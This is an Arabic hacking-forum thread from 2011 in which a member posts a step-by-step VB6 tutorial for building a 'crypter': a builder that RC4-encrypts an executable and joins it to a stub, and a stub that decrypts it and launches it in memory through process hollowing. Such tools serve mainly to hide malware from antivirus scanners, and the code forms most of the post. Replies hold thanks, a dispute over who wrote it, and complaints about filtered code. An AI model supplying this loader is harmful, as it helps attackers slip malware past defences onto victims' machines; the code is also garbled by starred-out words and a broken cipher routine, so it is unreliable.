العودة   :: Security امان العرب Arab :: > [ الأقسام البرمجية ] > [ الفجوال بيسك Visual Basic ]

الملاحظات

[ الفجوال بيسك Visual Basic ] شروحات الفجوال بيسك وكيفية عملها

إضافة رد
 
أدوات الموضوع انواع عرض الموضوع
قديم 03-08-2011, 08:07 PM   المشاركة رقم: 1
الكاتب
رفاعي
.:: عضو نشيط ::.
 
الصورة الرمزية رفاعي
المعلومات  
التسجيل: Nov 2010
العضوية: 76719
المشاركات: 446
بمعدل : 0.14 يوميا
رفاعي is on a distinguished road
الإتصال رفاعي غير متواجد حالياً


المنتدى  
افتراضي حصريا عله امان العرب شرح بلصور كيفيه عمل برنامج تشفير بالفيجوال يستحق التثبيت

بسم الله الرحمن الرحيم
السلام عليكم و رحمة الله و بركاتة
اخواني اعضاء ومشفرين وادارين امان العرب اليوم حاب اشرح لكم عمل برنامج تشفير بالفيجوال

بيسك بالطريقه الصحيحه

تابع معي

بسم الله اول شي نبدا بعمل البرنامج


لازم تحتاج لبرنامج VB6


(نسخه بروتبل بدون تنصيب )

حمله من هينا

[فقط الاعضاء المسجلين هم من يمكنهم رؤية الروابط. اضغط هنا للتسجيل]


نقوم بتشغيل الفيجوال بيسك 6 ومن ثم أتباع الأتي :














طبعا نظيف الكود هذا

Private Sub Command1_Click()
With CommonDialog1
.DialogTitle = "Select The file you Want to Protect"
.Filter = "EXE Files |******"
.ShowOpen
End With

If Not CommonDialog1.File**** = vbNullString Then

****1.**** = CommonDialog1.File****

End If

End Sub

Private Sub Command2_Click()
Dim Stub As String

Open App.Path & "\Stub*****" For Binary As #1
Stub = Space(LOF(1))
Get #1, , Stub
Close #1

With CommonDialog1

.DialogTitle = "Select Where you want to Save Crypted File"
.Filter = "EXE Files |******"
.ShowSave

End With

Dim File As String

Open ****1.**** For Binary As #1
File = Space(LOF(1))
Get #1, , File
Close #1

File = RC4(File, "therefenge")

Open CommonDialog1.File**** For Binary As #1
Put #1, , Stub & "[Theref]" & File
Close #1

MsgBox "Succesfully Crypted", vbInformation

End Sub

Public Function RC4(ByVal Data As String, ByVal Password As String) As String ' This is a Modified RC4 Function ^^
On Error Resume Next
Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
Key() = StrConv(Password, vbFromUnicode)
For X = 0 To 255
Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
F(X) = X
Next X
Key() = StrConv(Data, vbFromUnicode)
For X = 0 To Len(Data)
Y = (Y + F(Y) + 1) Mod 256
Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
Next X
RC4 = StrConv(Key, vbUnicode)
End Function

Private Sub Command4_Click()
MsgBox "[ MATRIX ]" & vbNewLine & vbNewLine & "Dev-PoinT" & vbNewLine & "" & vbNewLine & "", vbInformation, Me.Caption
End Sub

Private Sub Form_Load()

End Sub




وبكذا خلصنا [ برنامج التشفير ] ~



2- برمجـة ستب برنامج التشفير

الأن نقوم بفتح الفيجوال بيسك مرة أخرى :












Option Explicit

Private Const CON****_FULL As Long = &H10007
Private Const MAX_PATH As Integer = 260
Private Const CREATE_SUSPENDED As Long = &H4
Private Const MEM_COMMIT As Long = &H1000
Private Const MEM_RESERVE As Long = &H2000
Private Const PAGE_EXECUTE_READWRITE As Long = &H40

Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpApp**** As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, bvBuff As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function OutputDebugString Lib "kernel32" Alias "OutputDebugStringA" (ByVal lpOutputString As String) As Long

Public Declare Sub RtlMoveMemory Lib "kernel32" (Dest As Any, Src As Any, ByVal L As Long)
Private Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProc**** As String) As Long
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFile**** As String) As Long

Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type

Private Type STARTUPINFO
cb As Long
lpReserved As Long
lpDesktop As Long
lpTitle As Long
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type

Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadID As Long
End Type

Private Type FLOATING_SAVE_AREA
ControlWord As Long
StatusWord As Long
TagWord As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(1 To 80) As Byte
Cr0NpxState As Long
End Type

Private Type CON****
Con****Flags As Long

Dr0 As Long
Dr1 As Long
Dr2 As Long
Dr3 As Long
Dr6 As Long
Dr7 As Long

FloatSave As FLOATING_SAVE_AREA
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
Edi As Long
Esi As Long
Ebx As Long
Edx As Long
Ecx As Long
Eax As Long
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
End Type

Private Type IMAGE_DOS_HEADER
e_magic As Integer
e_cblp As Integer
e_cp As Integer
e_crlc As Integer
e_cparhdr As Integer
e_minalloc As Integer
e_maxalloc As Integer
e_ss As Integer
e_sp As Integer
e_csum As Integer
e_ip As Integer
e_cs As Integer
e_lfarlc As Integer
e_ovno As Integer
e_res(0 To 3) As Integer
e_oemid As Integer
e_oeminfo As Integer
e_res2(0 To 9) As Integer
e_lfanew As Long
End Type

Private Type IMAGE_FILE_HEADER
Machine As Integer
NumberOfSections As Integer
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOptionalHeader As Integer
characteristics As Integer
End Type

Private Type IMAGE_DATA_DIRECTORY
VirtualAddress As Long
Size As Long
End Type

Private Type IMAGE_OPTIONAL_HEADER
Magic As Integer
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long
SizeOfInitializedData As Long
SizeOfUnitializedData As Long
AddressOfEntryPoint As Long
BaseOfCode As Long
BaseOfData As Long
' NT additional fields.
ImageBase As Long
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVersion As Integer
MinorOperatingSystemVersion As Integer
MajorImageVersion As Integer
MinorImageVersion As Integer
MajorSubsystemVersion As Integer
MinorSubsystemVersion As Integer
W32VersionValue As Long
SizeOfImage As Long
SizeOfHeaders As Long
CheckSum As Long
SubSystem As Integer
DllCharacteristics As Integer
SizeOfStackReserve As Long
SizeOfStackCommit As Long
SizeOfHeapReserve As Long
SizeOfHeapCommit As Long
LoaderFlags As Long
NumberOfRvaAndSizes As Long
DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY
End Type

Private Type IMAGE_NT_HEADERS
Signature As Long
FileHeader As IMAGE_FILE_HEADER
OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type

Private Type IMAGE_SECTION_HEADER
Sec**** As String * 8
VirtualSize As Long
VirtualAddress As Long
SizeOfRawData As Long
PointerToRawData As Long
PointerToRe********s As Long
PointerToLinenumbers As Long
NumberOfRe********s As Integer
NumberOfLinenumbers As Integer
characteristics As Long
End Type

Private Function CallAPI(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
Dim lPtr As Long
Dim bvASM(&HEC00& - 1) As Byte
Dim i As Long
Dim lMod As Long

lMod = GetProcAddress(LoadLibraryA(sLib), sMod)
If lMod = 0 Then Exit Function

lPtr = VarPtr(bvASM(0))
RtlMoveMemory ByVal lPtr, &H59595958, &H4: lPtr = lPtr + 4
RtlMoveMemory ByVal lPtr, &H5059, &H2: lPtr = lPtr + 2
For i = UBound(Params) To 0 Step -1
RtlMoveMemory ByVal lPtr, &H68, &H1: lPtr = lPtr + 1
RtlMoveMemory ByVal lPtr, CLng(Params(i)), &H4: lPtr = lPtr + 4
Next
RtlMoveMemory ByVal lPtr, &HE8, &H1: lPtr = lPtr + 1
RtlMoveMemory ByVal lPtr, lMod - lPtr - 4, &H4: lPtr = lPtr + 4
RtlMoveMemory ByVal lPtr, &HC3, &H1: lPtr = lPtr + 1
CallAPI = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)
End Function

Sub Injec(ByVal sHost As String, ByRef bvBuff() As Byte, parameter As String)
Dim i As Long
Dim Pidh As IMAGE_DOS_HEADER
Dim Pinh As IMAGE_NT_HEADERS
Dim Pish As IMAGE_SECTION_HEADER
Dim Si As STARTUPINFO
Dim Pi As PROCESS_INFORMATION
Dim Ctx As CON****

Si.cb = Len(Si)

RtlMoveMemory Pidh, bvBuff(0), 64
RtlMoveMemory Pinh, bvBuff(Pidh.e_lfanew), 248

CreateProcessA sHost, " " & parameter, 0, 0, False, CREATE_SUSPENDED, 0, 0, Si, Pi
CallAPI "ntdll", "NtUnmapViewOfSection", Pi.hProcess, Pinh.OptionalHeader.ImageBase
CallAPI "kernel32", "VirtualAllocEx", Pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE
WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase, bvBuff(0), Pinh.OptionalHeader.SizeOfHeaders, 0

For i = 0 To Pinh.FileHeader.NumberOfSections - 1
RtlMoveMemory Pish, bvBuff(Pidh.e_lfanew + 248 + 40 * i), Len(Pish)
WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress, bvBuff(Pish.PointerToRawData), Pish.SizeOfRawData, 0
Next i

Ctx.Con****Flags = CON****_FULL
CallAPI "kernel32", "GetThreadCon****", Pi.hThread, VarPtr(Ctx)
WriteProcessMemory Pi.hProcess, ByVal Ctx.Ebx + 8, Pinh.OptionalHeader.ImageBase, 4, 0
Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
CallAPI "kernel32", "SetThreadCon****", Pi.hThread, VarPtr(Ctx)
CallAPI "kernel32", "ResumeThread", Pi.hThread
End Sub

Public Function StrToBytArray(ByVal sStr As String) As Byte()
Dim i As Long
Dim Buffer() As Byte
ReDim Buffer(Len(sStr) - 1)
For i = 1 To Len(sStr)
Buffer(i - 1) = Asc(Mid(sStr, i, 1))
Next i
StrToBytArray = Buffer
End Function

Public Function Thi***e() As String
Dim lRet As Long
Dim bvBuff(255) As Byte
lRet = CallAPI("kernel32", "GetModuleFile****A", App.hInstance, VarPtr(bvBuff(0)), 256)
Thi***e = Left$(StrConv(bvBuff, vbUnicode), lRet)
End Function



ونظيف هذا الكود

Sub Main()

Dim SHIT As String

SHIT = App.Path & "\" & App********* & "*****"

Dim Data As String

Open SHIT For Binary As #1

Data = Space(LOF(1))
Get #1, , Data
Close #1

Dim Delimiter() As String

Delimiter() = Split(Data, "[Theref]")

Delimiter(1) = RC4(Delimiter(1), "therefenge")

Call Injec(SHIT, StrConv(Delimiter(1), vbFromUnicode), vbNullString)

End Sub

Public Function RC4(ByVal Data As String, ByVal Password As String) As String ' This is a Modified RC4 Function ^^

On Error Resume Next
Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
Key() = StrConv(Password, vbFromUnicode)
For X = 0 To 255
Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
F(X) = X
Next X
Key() = StrConv(Data, vbFromUnicode)
For X = 0 To Len(Data)
Y = (Y + F(Y) + 1) Mod 256
Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
Next X
RC4 = StrConv(Key, vbUnicode)

End Function



الان نحفظ الــ Stub



يجب تطبيق هذه الخطوات







وبكذا خلصنا برمجـة الستب ..

طبعاً لازم يكون أسم الستب هو

Stub

ويكون موجود بجنب برنامج التشفير

شباب الشرح استغرقك مني تعب كثير اتمنا الرد بكلمه والتقيم الكل يقيم بصراحه تعبت
الرجاء من عشاق النسخ واللصق ذكر المصدر

اهداء:
RBG510
هاوي ((اتمنا انك تسترجع في كلامك ولا تعتزل ))
ولكل ادارين امان العرب
ولكل مشرفين امان العرب
واعضاء امان العرب
واهداء خاص ((لك ))

فمان الله و رعايتة ،،،
اخوكم رفاعي ،،،












توقيع : رفاعي

[فقط الاعضاء المسجلين هم من يمكنهم رؤية الروابط. اضغط هنا للتسجيل]


التعديل الأخير تم بواسطة رفاعي ; 03-08-2011 الساعة 08:12 PM
عرض البوم صور رفاعي   رد مع اقتباس

قديم 03-08-2011, 08:15 PM   المشاركة رقم: 2
الكاتب
حبي لك ما هو كلام
.:: موقوف ::.
المعلومات  
التسجيل: Sep 2010
العضوية: 67082
المشاركات: 52
بمعدل : 0.02 يوميا
حبي لك ما هو كلام is on a distinguished road
الإتصال حبي لك ما هو كلام غير متواجد حالياً


كاتب الموضوع  المنتدى  
افتراضي

لاهنت على الشرح يالغالي












عرض البوم صور حبي لك ما هو كلام   رد مع اقتباس

قديم 03-08-2011, 08:15 PM   المشاركة رقم: 3
الكاتب
youandme
.:: عضو نشيط ::.
المعلومات  
التسجيل: Jan 2011
العضوية: 87618
المشاركات: 466
بمعدل : 0.15 يوميا
youandme is on a distinguished road
الإتصال youandme متواجد حالياً


كاتب الموضوع  المنتدى  
افتراضي

شكرا لك واصل












عرض البوم صور youandme   رد مع اقتباس

قديم 03-08-2011, 08:17 PM   المشاركة رقم: 4
الكاتب
رفاعي
.:: عضو نشيط ::.
 
الصورة الرمزية رفاعي
المعلومات  
التسجيل: Nov 2010
العضوية: 76719
المشاركات: 446
بمعدل : 0.14 يوميا
رفاعي is on a distinguished road
الإتصال رفاعي غير متواجد حالياً


كاتب الموضوع  المنتدى  
افتراضي

تسلمون اخواني والله ماقصرتو
اخواني قيمو الموضوع وقيموني انشاء الله يثبتونه لانه الشرح متعوب عليه بصراحه
لكم مني اجمل سلام












توقيع : رفاعي

[فقط الاعضاء المسجلين هم من يمكنهم رؤية الروابط. اضغط هنا للتسجيل]

عرض البوم صور رفاعي   رد مع اقتباس

قديم 03-08-2011, 08:18 PM   المشاركة رقم: 5
الكاتب
Tn-PiRaTe
.:: عضو ::.
المعلومات  
التسجيل: Mar 2011
العضوية: 89563
الدولة: [ تونــــــــس ]
المشاركات: 108
بمعدل : 0.03 يوميا
Tn-PiRaTe is on a distinguished road
الإتصال Tn-PiRaTe غير متواجد حالياً


كاتب الموضوع  المنتدى  
افتراضي

مشكور ياغالي على الشرح الخطير
لكن عندي سؤال
برنامج التشفير الناتج ماذا يشفر ؟؟













عرض البوم صور Tn-PiRaTe   رد مع اقتباس

قديم 03-08-2011, 08:19 PM   المشاركة رقم: 6
الكاتب
Dr.XxS
.:: a b0 s4l31-1:.
المعلومات  
التسجيل: Dec 2008
العضوية: 4652
المشاركات: 1,892
بمعدل : 0.49 يوميا
Dr.XxS will become famous soon enough
الإتصال Dr.XxS غير متواجد حالياً


كاتب الموضوع  المنتدى  
افتراضي

شكراً على النقل .~

و الشرح ماهوه من تعبك .~

منقول من الديف ,~

الأكواد نصفها مشفره اذا بتحب تفيد إخوانك ضع الأكواد في مفكره أحسن












عرض البوم صور Dr.XxS   رد مع اقتباس

قديم 03-08-2011, 08:21 PM   المشاركة رقم: 7
الكاتب
youandme
.:: عضو نشيط ::.
المعلومات  
التسجيل: Jan 2011
العضوية: 87618
المشاركات: 466
بمعدل : 0.15 يوميا
youandme is on a distinguished road
الإتصال youandme متواجد حالياً


كاتب الموضوع  المنتدى  
افتراضي

توجد مشكلة صغيرة الاكواد ممتلات بنجوم هل يمكن تحميلها في ملف te xt












عرض البوم صور youandme   رد مع اقتباس

قديم 03-08-2011, 08:23 PM   المشاركة رقم: 8
الكاتب
رفاعي
.:: عضو نشيط ::.
 
الصورة الرمزية رفاعي
المعلومات  
التسجيل: Nov 2010
العضوية: 76719
المشاركات: 446
بمعدل : 0.14 يوميا
رفاعي is on a distinguished road
الإتصال رفاعي غير متواجد حالياً


كاتب الموضوع  المنتدى  
افتراضي

اقتباس:
المشاركة الأصلية كتبت بواسطة dr.xxs مشاهدة المشاركة
شكراً على النقل .~

و الشرح ماهوه من تعبك .~

منقول من الديف ,~

الأكواد نصفها مشفره اذا بتحب تفيد إخوانك ضع الأكواد في مفكره أحسن

Qalpp
اخوي الشرح الي الديف سارقينه من عندي وانه عملت هلشرحه في منتدى هكر السعوديه اذه تبغا الرابط وتاريخ عمله انه حاضر (( تاكد قبل لا تقول اي شي ))
سيوو












توقيع : رفاعي

[فقط الاعضاء المسجلين هم من يمكنهم رؤية الروابط. اضغط هنا للتسجيل]

عرض البوم صور رفاعي   رد مع اقتباس

قديم 03-08-2011, 08:27 PM   المشاركة رقم: 9
الكاتب
Dr.XxS
.:: a b0 s4l31-1:.
المعلومات  
التسجيل: Dec 2008
العضوية: 4652
المشاركات: 1,892
بمعدل : 0.49 يوميا
Dr.XxS will become famous soon enough
الإتصال Dr.XxS غير متواجد حالياً


كاتب الموضوع  المنتدى  
افتراضي

ههههههههه يا حبيبي هاد الشرح من تحت إيدين دكتور عدنان ملك التشفير معقول دكتور عدنان ينقل موضوع ههههههههه

على كلن الله يسلم إيديك على التعب












عرض البوم صور Dr.XxS   رد مع اقتباس

قديم 03-08-2011, 08:44 PM   المشاركة رقم: 10
الكاتب
Tn-PiRaTe
.:: عضو ::.
المعلومات  
التسجيل: Mar 2011
العضوية: 89563
الدولة: [ تونــــــــس ]
المشاركات: 108
بمعدل : 0.03 يوميا
Tn-PiRaTe is on a distinguished road
الإتصال Tn-PiRaTe غير متواجد حالياً


كاتب الموضوع  المنتدى  
افتراضي

اقتباس:
المشاركة الأصلية كتبت بواسطة tn-pirate مشاهدة المشاركة
مشكور ياغالي على الشرح الخطير
لكن عندي سؤال
برنامج التشفير الناتج ماذا يشفر ؟؟



اجبني أخي الغالي على الاستفسار












عرض البوم صور Tn-PiRaTe   رد مع اقتباس

إضافة رد

مواقع النشر (المفضلة)


الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1)
 
أدوات الموضوع
انواع عرض الموضوع

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة

الانتقال السريع

المواضيع المتشابهه
الموضوع كاتب الموضوع المنتدى مشاركات آخر مشاركة
حصريا على امان العرب / برنامج SkoT-Hack ؛ برنامج ولآ في الاحلأم أبووودي [ اختراق الاجـهـزه والايـمـيـلات ] 19 05-26-2010 06:27 PM
حصريا على امان العرب استعادة الايميل المسروق في اقل من 24 ساعة ارجو التتبيت Ghost_Rider [حماية الأجهزة ] 12 07-13-2009 05:53 PM
حصريا على امان العرب برمجة برنامج لتغير الامتدادات asL-Sabia [ الفجوال بيسك Visual Basic ] 15 06-23-2009 12:22 PM
الأن بيفروست امان العرب من تطوير وتعريب امان العرب وبأسم امان العرب + سرفر مشفر من اقوى الحمايات(التشفير متجدد) يرجى التثبيت medoezzat [ اختراق الاجـهـزه والايـمـيـلات ] 71 06-04-2009 05:37 AM


الساعة الآن 08:30 PM.


Powered by vBulletin® Version 3.8.3
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd.